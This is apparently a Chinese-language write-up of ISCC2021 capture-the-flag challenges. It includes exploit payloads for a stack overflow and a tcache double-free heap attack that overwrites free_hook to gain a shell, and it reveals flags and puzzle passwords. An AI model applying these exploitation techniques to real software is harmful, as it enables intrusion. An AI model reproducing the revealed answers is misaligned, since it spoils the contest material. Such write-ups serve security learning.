ISCC2021 CTF挑战赛：Pwn、RE与MISC赛题深度解析
1. Pwn赛题实战解析：从栈溢出到堆利用
Pwn方向一直是CTF比赛中技术含量最高的赛道之一，ISCC2021的Pwn题目涵盖了栈溢出、堆漏洞利用等经典题型。我们先来看M78这道典型的栈溢出题目。
题目中的check函数存在明显的缓冲区溢出漏洞：
char *__cdecl check(char *s) { char dest[11]; // 只分配了11字节的缓冲区 v3 = strlen(s); if ( v3 == 7 ) { v4 = strcpy(dest, s); // 可能造成dest溢出 } }这个漏洞的巧妙之处在于利用了char类型截断的特性。虽然输入长度可以达到0x199，但通过构造0x107长度的输入，使得v3被截断为7，既通过了长度检查又触发了溢出。最终的exp构造需要覆盖返回地址到后门函数：
payload = b'0'*(0x18+4) + p32(call_addr) payload = payload.ljust(0x107,b'c') + b'\0'堆题目box则考察了更高级的利用技巧。题目使用了libc 2.27版本，这个版本的tcache存在double free漏洞且没有完整性检查。我们通过以下步骤完成利用：
- 连续释放7个chunk填满tcache
- 释放第8个chunk进入unsorted bin
- 通过UAF泄露main_arena地址计算libc基址
- 修改free_hook为system地址
- 释放包含"/bin/sh"的chunk获取shell
_add(0,0x80,"11") # 分配chunk _remove(0) # 释放chunk _view(0) # 泄露地址 _edit(1,p64(free_hook_addr)) # 修改fd指针2. RE逆向工程：从Python字节码到LLVM IR
逆向工程题目往往需要选手快速理解各种语言的编译产物。garden题目提供了一个Python 2.7的pyc文件，我们可以使用uncompyle6工具进行反编译。
关键check函数使用了异或校验：
def check(s): f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06' for a, b in zip(f, s): checksum += ord(b) ^ ord(a) ^ 123 return checksum == 0通过分析可知flag就是密文字节与123异或的结果：
flag = ''.join([chr(ord(i) ^ 123) for i in f])最有趣的当属"汇编大人，时代变了"这道题，它使用了LLVM IR中间语言。我们需要先用llc命令将其编译为可分析的目标文件：
llc -filetype=obj task.ll在IDA中可以看到核心算法是异或加密：
for ( i = 0; i < strlen(s); ++i ) { v4 = s[i]; s[i] = v4 ^ secret[i % strlen(secret)]; }通过动态调试和算法逆向，最终还原出flag格式为：ISCC{mAy6e_t0d4Y_7H15_ls_tH3_10n8est_f14g_Y0_HaD_Ev3R_5e3n_!_}
3. MISC杂项技巧：从散点图到音频隐写
杂项题目考察选手的综合能力。"Retrieve the passcode"题目给出了一个scatter.txt文件，里面记录了大量三维坐标点。通过分析发现这些点可以绘制出数字图形：
import matplotlib.pyplot as plt plt.scatter(x_coords, y_coords) # 绘制散点图 plt.show()运行后显示的图形组合起来是"365728"，这正是解压computer.rar的密码。解压后得到的PDF中包含摩斯密码，解密后得到flag。
"我的折扣是多少？"这道题则设计了多层次的解谜过程：
- 运行give.exe得到Unicode编码的pass1：\u006b\u0072\u0077 → "krw"
- 分析me.zip发现Base64编码的pass2："gcc666"
- 组合密码解压得到提示"youfoundme?"
- 使用MP3Stego工具解密音频文件：
mp3stego -D -P "youfoundme?" -X discount.mp3- 最后对得到的Base32字符串解码获得最终flag
4. 移动安全与密码学实战
Mobile Easy题目展示了一个简单的AES-ECB模式加密：
from Crypto.Cipher import AES aes = AES.new(key, AES.MODE_ECB) msg = aes.decrypt(base64.b64decode(str2))题目中的字符串处理逻辑需要仔细跟踪：
str3 = '' for x in range(7,256,8): if x%9 == 8: break str3 += chr(100+3) # 'g' str3 += chr(100^0x5d) # '!'Mobile Normal则涉及Android逆向工程，关键点在于分析JNI本地方法：
public native String getPart3();通过修改smali代码可以直接输出flag：
invoke-direct {p0}, getFlag()Ljava/lang/String; move-result-object v2 invoke-virtual {v0, v2}, setText(Ljava/lang/CharSequence;)"小明的表情包"这道密码学题目需要先解凯撒密码：
AVARGRRA AVARGL AVAR → NINETEEN NINETY NINE → 1999年然后用日期格式爆破压缩包密码（07071999），最后修复损坏的图片文件头获得flag。